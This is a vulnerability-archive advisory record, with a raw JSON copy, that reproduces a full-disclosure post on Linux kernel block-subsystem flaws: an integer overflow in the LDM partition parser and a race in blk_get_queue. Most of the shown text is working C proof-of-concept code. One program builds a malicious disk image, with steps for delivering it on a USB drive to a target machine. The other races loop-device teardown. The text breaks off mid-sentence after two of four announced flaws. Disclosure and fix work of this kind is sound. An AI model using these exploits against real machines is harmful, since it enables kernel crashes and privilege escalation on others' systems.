VULNARCHIVE

GCVE-1988-2025-0001

Linux Kernel Block Subsystem Vulnerabilities

Description (en)

================================================================================
FULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities
Date: 2025-12-29
Affected: Linux Kernel (all versions with affected code)
================================================================================

================================================================================
[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow
================================================================================

VULNERABILITY SUMMARY
---------------------
Type: Integer Overflow leading to Heap Buffer Overflow
File: block/partitions/ldm.c:1247
Severity: HIGH (7.8 CVSS)
Impact: Local privilege escalation, kernel code execution
Attack Vector: Malicious disk image / USB device

TECHNICAL DETAILS
-----------------
The LDM (Logical Disk Manager) partition parser contains an integer overflow
vulnerability in the VBLK fragment reassembly code. When parsing Windows
dynamic disks, the kernel allocates a buffer using:

    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);

Where both 'size' and 'num' are attacker-controlled 16-bit values read from
the disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:

    0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)
    sizeof(*f) + 0xFFFE0001 = small allocation

The kernel allocates a small buffer but later writes up to 64KB of data into
it, causing a heap buffer overflow.

AFFECTED CODE (block/partitions/ldm.c)
--------------------------------------
Line 1247:
    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);

Line 461 (bounds check also vulnerable):
    if ((vm->vblk_size * vm->vblk_offset) > 65536) {

PROOF OF CONCEPT
----------------
/*
 * ldm_overflow_poc.c - LDM Integer Overflow PoC
 * Creates a malicious disk image triggering the overflow
 *
 * Compile: gcc -o ldm_poc ldm_overflow_poc.c
 * Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img
 *
 * WARNING: This WILL crash/corrupt your kernel. Use in VM only.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

/* LDM structures */
#define LDM_MAGIC "PRIVHEAD"
#define VBLK_MAGIC "VBLK"

struct ldm_privhead {
    char magic[8];
    uint32_t version;
    uint64_t disk_id;
    char host_id[64];
    char disk_group_id[64];
    char disk_group_name[32];
    uint32_t logical_disk_start;
    uint32_t logical_disk_size;
    uint32_t config_start;
    uint32_t config_size;
    uint32_t num_tocs;
    uint32_t toc_size;
    uint32_t num_configs;
    uint32_t config_record_size;
    uint32_t num_logs;
    uint32_t log_size;
} __attribute__((packed));

struct ldm_vmdb {
    char magic[4];           /* "VMDB" */
    uint32_t last_seq;
    uint32_t vblk_size;      /* Controlled - use 0xFFFF */
    uint32_t vblk_offset;    /* Controlled - use 0xFFFF */
    uint16_t num_vblks;
    /* ... */
} __attribute__((packed));

struct ldm_vblk_head {
    char magic[4];           /* "VBLK" */
    uint32_t seq;
    uint32_t group;
    uint16_t rec_num;        /* Fragment number */
    uint16_t num_recs;       /* Total fragments - use large value */
    /* ... */
} __attribute__((packed));

void create_malicious_ldm_image(const char *filename) {
    int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open");
        exit(1);
    }

    /* Create 2MB sparse image */
    ftruncate(fd, 2 * 1024 * 1024);

    /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */
    struct ldm_privhead privhead = {0};
    memcpy(privhead.magic, LDM_MAGIC, 8);
    privhead.version = 0x0002000C;  /* Version 2.12 */
    privhead.config_start = 1;
    privhead.config_size = 2048;

    lseek(fd, 6 * 512, SEEK_SET);
    write(fd, &privhead, sizeof(privhead));

    /* Write VMDB with overflow values */
    struct ldm_vmdb vmdb = {0};
    memcpy(vmdb.magic, "VMDB", 4);
    vmdb.vblk_size = 0xFFFF;    /* OVERFLOW VALUE */
    vmdb.vblk_offset = 0xFFFF;  /* OVERFLOW VALUE */
    vmdb.num_vblks = 100;

    lseek(fd, 8 * 512, SEEK_SET);  /* VMDB location */
    write(fd, &vmdb, sizeof(vmdb));

    /* Write VBLK fragments that trigger reassembly overflow */
    struct ldm_vblk_head vblk = {0};
    memcpy(vblk.magic, VBLK_MAGIC, 4);
    vblk.seq = 1;
    vblk.group = 1;
    vblk.rec_num = 0;
    vblk.num_recs = 0xFFFF;  /* Large fragment count */

    /* Write multiple fragments to trigger reassembly */
    for (int i = 0; i < 10; i++) {
        vblk.rec_num = i;
        lseek(fd, (16 + i) * 512, SEEK_SET);
        write(fd, &vblk, sizeof(vblk));

        /* Fill rest of sector with controlled data */
        char payload[512 - sizeof(vblk)];
        memset(payload, 'A', sizeof(payload));
        write(fd, payload, sizeof(payload));
    }

    close(fd);
    printf("[+] Created malicious LDM image: %s\n", filename);
    printf("[!] WARNING: Mounting this image WILL crash the kernel\n");
}

int main(int argc, char **argv) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <output.img>\n", argv[0]);
        return 1;
    }

    create_malicious_ldm_image(argv[1]);

    printf("\nReproduction steps:\n");
    printf("1. Copy image to target VM\n");
    printf("2. sudo losetup /dev/loop0 %s\n", argv[1]);
    printf("3. sudo partprobe /dev/loop0  # TRIGGERS CRASH\n");
    printf("\nOr:\n");
    printf("1. Write image to USB drive\n");
    printf("2. Plug USB into target machine\n");
    printf("3. Kernel auto-probes partitions -> CRASH\n");

    return 0;
}

REPRODUCTION STEPS
------------------
1. Compile the PoC on any Linux system:
   $ gcc -o ldm_poc ldm_overflow_poc.c

2. Create the malicious image:
   $ ./ldm_poc malicious.img

3. In a VM (DO NOT RUN ON PRODUCTION):
   $ sudo losetup /dev/loop0 malicious.img
   $ sudo partprobe /dev/loop0

4. Kernel will crash with heap corruption

Alternative (USB attack vector):
1. Write malicious.img to USB drive:
   $ sudo dd if=malicious.img of=/dev/sdX bs=1M
2. Plug USB into target machine
3. Kernel crashes during automatic partition probing

IMPACT
------
- Heap buffer overflow with controlled size and data
- Kernel code execution possible via heap spray
- Physical access attack via malicious USB
- No user interaction required (auto-probe)

SUGGESTED FIX
-------------
Replace vulnerable allocation with overflow-safe version:

-   f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
+   if (check_mul_overflow(size, num, &alloc_size) ||
+       check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) {
+       ldm_error("VBLK allocation overflow");
+       return false;
+   }
+   f = kmalloc(alloc_size, GFP_KERNEL);


================================================================================
[2/4] Request Queue Reference Counting Race Condition
================================================================================

VULNERABILITY SUMMARY
---------------------
Type: TOCTOU Race Condition / Use-After-Free
File: block/blk-core.c:278-284
Severity: MEDIUM (5.5 CVSS)
Impact: Kernel crash, potential privilege escalation
Attack Vector: Local, requires timing

TECHNICAL DETAILS
-----------------
The blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)
race condition between checking if the queue is dying and incrementing
the reference count:

    bool blk_get_queue(struct request_queue *q)
    {
        if (unlikely(blk_queue_dying(q)))   // CHECK
            return false;
        refcount_inc(&q->refs);             // USE - race window!
        return true;
    }

Between the check and the increment, another CPU can complete queue
teardown, decrement refs to 0, and free the structure. The subsequent
refcount_inc() then operates on freed memory.

AFFECTED CODE (block/blk-core.c)
--------------------------------
Lines 278-284:
    bool blk_get_queue(struct request_queue *q)
    {
        if (unlikely(blk_queue_dying(q)))
            return false;
        refcount_inc(&q->refs);  // Should be refcount_inc_not_zero
        return true;
    }

PROOF OF CONCEPT
----------------
/*
 * blk_queue_race_poc.c - Request Queue Race Condition PoC
 *
 * This PoC demonstrates the TOCTOU race in blk_get_queue().
 * Requires root and a removable block device (USB/loop).
 *
 * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c
 * Usage: sudo ./queue_race /dev/loop0
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <linux/loop.h>
#include <linux/fs.h>
#include <errno.h>
#include <sched.h>

#define NUM_RACERS 4
#define ITERATIONS 100000

static volatile int race_running = 1;
static char *loop_device;
static char *backing_file;

/* Thread that repeatedly opens the block device */
void *opener_thread(void *arg) {
    int cpu = (int)(long)arg;
    cpu_set_t cpuset;

    CPU_ZERO(&cpuset);
    CPU_SET(cpu % 4, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);

    while (race_running) {
        int fd = open(loop_device, O_RDONLY | O_NONBLOCK);
        if (fd >= 0) {
            /* Perform I/O to exercise queue paths */
            char buf[512];
            read(fd, buf, sizeof(buf));
            close(fd);
        }
        /* Tight loop to maximize race window hits */
    }
    return NULL;
}

/* Thread that repeatedly detaches/attaches loop device */
void *detacher_thread(void *arg) {
    int loop_ctl_fd = open("/dev/loop-control", O_RDWR);
    int backing_fd = -1;

    while (race_running) {
        /* Get a free loop device number */
        int loop_fd = open(loop_device, O_RDWR);
        if (loop_fd >= 0) {
            /* Detach - triggers queue dying state */
            ioctl(loop_fd, LOOP_CLR_FD, 0);
            close(loop_fd);
        }

        usleep(100);  /* Small delay */

        /* Reattach */
        loop_fd = open(loop_device, O_RDWR);
        backing_fd = open(backing_file, O_RDWR);
        if (loop_fd >= 0 && backing_fd >= 0) {
            ioctl(loop_fd, LOOP_SET_FD, backing_fd);
            close(backing_fd);
            close(loop_fd);
        }

        usleep(100);
    }

    close(loop_ctl_fd);
    return NULL;
}

/* Thread that submits I/O to exercise blk_get_queue paths */
void *io_submitter_thread(void *arg) {
    while (race_running) {
        int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);
        if (fd >= 0) {
            void *buf;
            posix_memalign(&buf, 512, 4096);

            /* Submit I/O - internally calls blk_get_queue */
            pread(fd, buf, 4096, 0);

            free(buf);
            close(fd);
        }
    }
    return NULL;
}

int main(int argc, char **argv) {
    pthread_t openers[NUM_RACERS];
    pthread_t submitters[NUM_RACERS];
    pthread_t detacher;

    if (argc != 3) {
        fprintf(stderr, "Usage: %s <loop_device> <backing_file>\n", argv[0]);
        fprintf(stderr, "Example: %s /dev/loop0 /tmp/test.img\n", argv[0]);
        return 1;
    }

    loop_device = argv[1];
    backing_file = argv[2];

    /* Create backing file if needed */
    int bf = open(backing_file, O_RDWR | O_CREAT, 0644);
    if (bf >= 0) {
        ftruncate(bf, 10 * 1024 * 1024);  /* 10MB */
        close(bf);
    }

    /* Initial loop setup */
    int loop_fd = open(loop_device, O_RDWR);
    int back_fd = open(backing_file, O_RDWR);
    if (loop_fd >= 0 && back_fd >= 0) {
        ioctl(loop_fd, LOOP_SET_FD, back_fd);
        close(back_fd);
        close(loop_fd);
    }

    printf("[*] Starting race condition PoC\n");
    printf("[*] Target: %s\n", loop_device);
    printf("[*] This may take a while or crash the kernel...\n");

    /* Start racer threads */
    for (int i = 0; i < NUM_RACERS; i++) {
        pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i);
        pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i);
    }
    pthread_create(&detacher, NULL, detacher_thread, NULL);

    /* Run for a 

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Kernel Block",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Agent Spooky's Fun Parade via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "================================================================================\nFULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities\nDate: 2025-12-29\nAffected: Linux Kernel (all versions with affected code)\n================================================================================\n\n================================================================================\n[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: Integer Overflow leading to Heap Buffer Overflow\nFile: block/partitions/ldm.c:1247\nSeverity: HIGH (7.8 CVSS)\nImpact: Local privilege escalation, kernel code execution\nAttack Vector: Malicious disk image / USB device\n\nTECHNICAL DETAILS\n-----------------\nThe LDM (Logical Disk Manager) partition parser contains an integer overflow\nvulnerability in the VBLK fragment reassembly code. When parsing Windows\ndynamic disks, the kernel allocates a buffer using:\n\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nWhere both 'size' and 'num' are attacker-controlled 16-bit values read from\nthe disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:\n\n    0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)\n    sizeof(*f) + 0xFFFE0001 = small allocation\n\nThe kernel allocates a small buffer but later writes up to 64KB of data into\nit, causing a heap buffer overflow.\n\nAFFECTED CODE (block/partitions/ldm.c)\n--------------------------------------\nLine 1247:\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nLine 461 (bounds check also vulnerable):\n    if ((vm->vblk_size * vm->vblk_offset) > 65536) {\n\nPROOF OF CONCEPT\n----------------\n/*\n * ldm_overflow_poc.c - LDM Integer Overflow PoC\n * Creates a malicious disk image triggering the overflow\n *\n * Compile: gcc -o ldm_poc ldm_overflow_poc.c\n * Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img\n *\n * WARNING: This WILL crash/corrupt your kernel. Use in VM only.\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n/* LDM structures */\n#define LDM_MAGIC \"PRIVHEAD\"\n#define VBLK_MAGIC \"VBLK\"\n\nstruct ldm_privhead {\n    char magic[8];\n    uint32_t version;\n    uint64_t disk_id;\n    char host_id[64];\n    char disk_group_id[64];\n    char disk_group_name[32];\n    uint32_t logical_disk_start;\n    uint32_t logical_disk_size;\n    uint32_t config_start;\n    uint32_t config_size;\n    uint32_t num_tocs;\n    uint32_t toc_size;\n    uint32_t num_configs;\n    uint32_t config_record_size;\n    uint32_t num_logs;\n    uint32_t log_size;\n} __attribute__((packed));\n\nstruct ldm_vmdb {\n    char magic[4];           /* \"VMDB\" */\n    uint32_t last_seq;\n    uint32_t vblk_size;      /* Controlled - use 0xFFFF */\n    uint32_t vblk_offset;    /* Controlled - use 0xFFFF */\n    uint16_t num_vblks;\n    /* ... */\n} __attribute__((packed));\n\nstruct ldm_vblk_head {\n    char magic[4];           /* \"VBLK\" */\n    uint32_t seq;\n    uint32_t group;\n    uint16_t rec_num;        /* Fragment number */\n    uint16_t num_recs;       /* Total fragments - use large value */\n    /* ... */\n} __attribute__((packed));\n\nvoid create_malicious_ldm_image(const char *filename) {\n    int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n    if (fd < 0) {\n        perror(\"open\");\n        exit(1);\n    }\n\n    /* Create 2MB sparse image */\n    ftruncate(fd, 2 * 1024 * 1024);\n\n    /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */\n    struct ldm_privhead privhead = {0};\n    memcpy(privhead.magic, LDM_MAGIC, 8);\n    privhead.version = 0x0002000C;  /* Version 2.12 */\n    privhead.config_start = 1;\n    privhead.config_size = 2048;\n\n    lseek(fd, 6 * 512, SEEK_SET);\n    write(fd, &privhead, sizeof(privhead));\n\n    /* Write VMDB with overflow values */\n    struct ldm_vmdb vmdb = {0};\n    memcpy(vmdb.magic, \"VMDB\", 4);\n    vmdb.vblk_size = 0xFFFF;    /* OVERFLOW VALUE */\n    vmdb.vblk_offset = 0xFFFF;  /* OVERFLOW VALUE */\n    vmdb.num_vblks = 100;\n\n    lseek(fd, 8 * 512, SEEK_SET);  /* VMDB location */\n    write(fd, &vmdb, sizeof(vmdb));\n\n    /* Write VBLK fragments that trigger reassembly overflow */\n    struct ldm_vblk_head vblk = {0};\n    memcpy(vblk.magic, VBLK_MAGIC, 4);\n    vblk.seq = 1;\n    vblk.group = 1;\n    vblk.rec_num = 0;\n    vblk.num_recs = 0xFFFF;  /* Large fragment count */\n\n    /* Write multiple fragments to trigger reassembly */\n    for (int i = 0; i < 10; i++) {\n        vblk.rec_num = i;\n        lseek(fd, (16 + i) * 512, SEEK_SET);\n        write(fd, &vblk, sizeof(vblk));\n\n        /* Fill rest of sector with controlled data */\n        char payload[512 - sizeof(vblk)];\n        memset(payload, 'A', sizeof(payload));\n        write(fd, payload, sizeof(payload));\n    }\n\n    close(fd);\n    printf(\"[+] Created malicious LDM image: %s\\n\", filename);\n    printf(\"[!] WARNING: Mounting this image WILL crash the kernel\\n\");\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        fprintf(stderr, \"Usage: %s <output.img>\\n\", argv[0]);\n        return 1;\n    }\n\n    create_malicious_ldm_image(argv[1]);\n\n    printf(\"\\nReproduction steps:\\n\");\n    printf(\"1. Copy image to target VM\\n\");\n    printf(\"2. sudo losetup /dev/loop0 %s\\n\", argv[1]);\n    printf(\"3. sudo partprobe /dev/loop0  # TRIGGERS CRASH\\n\");\n    printf(\"\\nOr:\\n\");\n    printf(\"1. Write image to USB drive\\n\");\n    printf(\"2. Plug USB into target machine\\n\");\n    printf(\"3. Kernel auto-probes partitions -> CRASH\\n\");\n\n    return 0;\n}\n\nREPRODUCTION STEPS\n------------------\n1. Compile the PoC on any Linux system:\n   $ gcc -o ldm_poc ldm_overflow_poc.c\n\n2. Create the malicious image:\n   $ ./ldm_poc malicious.img\n\n3. In a VM (DO NOT RUN ON PRODUCTION):\n   $ sudo losetup /dev/loop0 malicious.img\n   $ sudo partprobe /dev/loop0\n\n4. Kernel will crash with heap corruption\n\nAlternative (USB attack vector):\n1. Write malicious.img to USB drive:\n   $ sudo dd if=malicious.img of=/dev/sdX bs=1M\n2. Plug USB into target machine\n3. Kernel crashes during automatic partition probing\n\nIMPACT\n------\n- Heap buffer overflow with controlled size and data\n- Kernel code execution possible via heap spray\n- Physical access attack via malicious USB\n- No user interaction required (auto-probe)\n\nSUGGESTED FIX\n-------------\nReplace vulnerable allocation with overflow-safe version:\n\n-   f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n+   if (check_mul_overflow(size, num, &alloc_size) ||\n+       check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) {\n+       ldm_error(\"VBLK allocation overflow\");\n+       return false;\n+   }\n+   f = kmalloc(alloc_size, GFP_KERNEL);\n\n\n================================================================================\n[2/4] Request Queue Reference Counting Race Condition\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: TOCTOU Race Condition / Use-After-Free\nFile: block/blk-core.c:278-284\nSeverity: MEDIUM (5.5 CVSS)\nImpact: Kernel crash, potential privilege escalation\nAttack Vector: Local, requires timing\n\nTECHNICAL DETAILS\n-----------------\nThe blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)\nrace condition between checking if the queue is dying and incrementing\nthe reference count:\n\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))   // CHECK\n            return false;\n        refcount_inc(&q->refs);             // USE - race window!\n        return true;\n    }\n\nBetween the check and the increment, another CPU can complete queue\nteardown, decrement refs to 0, and free the structure. The subsequent\nrefcount_inc() then operates on freed memory.\n\nAFFECTED CODE (block/blk-core.c)\n--------------------------------\nLines 278-284:\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))\n            return false;\n        refcount_inc(&q->refs);  // Should be refcount_inc_not_zero\n        return true;\n    }\n\nPROOF OF CONCEPT\n----------------\n/*\n * blk_queue_race_poc.c - Request Queue Race Condition PoC\n *\n * This PoC demonstrates the TOCTOU race in blk_get_queue().\n * Requires root and a removable block device (USB/loop).\n *\n * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c\n * Usage: sudo ./queue_race /dev/loop0\n */\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/ioctl.h>\n#include <linux/loop.h>\n#include <linux/fs.h>\n#include <errno.h>\n#include <sched.h>\n\n#define NUM_RACERS 4\n#define ITERATIONS 100000\n\nstatic volatile int race_running = 1;\nstatic char *loop_device;\nstatic char *backing_file;\n\n/* Thread that repeatedly opens the block device */\nvoid *opener_thread(void *arg) {\n    int cpu = (int)(long)arg;\n    cpu_set_t cpuset;\n\n    CPU_ZERO(&cpuset);\n    CPU_SET(cpu % 4, &cpuset);\n    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);\n\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_NONBLOCK);\n        if (fd >= 0) {\n            /* Perform I/O to exercise queue paths */\n            char buf[512];\n            read(fd, buf, sizeof(buf));\n            close(fd);\n        }\n        /* Tight loop to maximize race window hits */\n    }\n    return NULL;\n}\n\n/* Thread that repeatedly detaches/attaches loop device */\nvoid *detacher_thread(void *arg) {\n    int loop_ctl_fd = open(\"/dev/loop-control\", O_RDWR);\n    int backing_fd = -1;\n\n    while (race_running) {\n        /* Get a free loop device number */\n        int loop_fd = open(loop_device, O_RDWR);\n        if (loop_fd >= 0) {\n            /* Detach - triggers queue dying state */\n            ioctl(loop_fd, LOOP_CLR_FD, 0);\n            close(loop_fd);\n        }\n\n        usleep(100);  /* Small delay */\n\n        /* Reattach */\n        loop_fd = open(loop_device, O_RDWR);\n        backing_fd = open(backing_file, O_RDWR);\n        if (loop_fd >= 0 && backing_fd >= 0) {\n            ioctl(loop_fd, LOOP_SET_FD, backing_fd);\n            close(backing_fd);\n            close(loop_fd);\n        }\n\n        usleep(100);\n    }\n\n    close(loop_ctl_fd);\n    return NULL;\n}\n\n/* Thread that submits I/O to exercise blk_get_queue paths */\nvoid *io_submitter_thread(void *arg) {\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);\n        if (fd >= 0) {\n            void *buf;\n            posix_memalign(&buf, 512, 4096);\n\n            /* Submit I/O - internally calls blk_get_queue */\n            pread(fd, buf, 4096, 0);\n\n            free(buf);\n            close(fd);\n        }\n    }\n    return NULL;\n}\n\nint main(int argc, char **argv) {\n    pthread_t openers[NUM_RACERS];\n    pthread_t submitters[NUM_RACERS];\n    pthread_t detacher;\n\n    if (argc != 3) {\n        fprintf(stderr, \"Usage: %s <loop_device> <backing_file>\\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /dev/loop0 /tmp/test.img\\n\", argv[0]);\n        return 1;\n    }\n\n    loop_device = argv[1];\n    backing_file = argv[2];\n\n    /* Create backing file if needed */\n    int bf = open(backing_file, O_RDWR | O_CREAT, 0644);\n    if (bf >= 0) {\n        ftruncate(bf, 10 * 1024 * 1024);  /* 10MB */\n        close(bf);\n    }\n\n    /* Initial loop setup */\n    int loop_fd = open(loop_device, O_RDWR);\n    int back_fd = open(backing_file, O_RDWR);\n    if (loop_fd >= 0 && back_fd >= 0) {\n        ioctl(loop_fd, LOOP_SET_FD, back_fd);\n        close(back_fd);\n        close(loop_fd);\n    }\n\n    printf(\"[*] Starting race condition PoC\\n\");\n    printf(\"[*] Target: %s\\n\", loop_device);\n    printf(\"[*] This may take a while or crash the kernel...\\n\");\n\n    /* Start racer threads */\n    for (int i = 0; i < NUM_RACERS; i++) {\n        pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i);\n        pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i);\n    }\n    pthread_create(&detacher, NULL, detacher_thread, NULL);\n\n    /* Run for a "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:00:50Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Linux Kernel Block Subsystem Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0001",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0",
            "automated": true,
            "contentSha256": "32de6235455076c016dc8c2f5582de70e96ca488e28216ce0ba889a748b0e4f6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-29T20:20:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-11T11:00:50Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0001"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}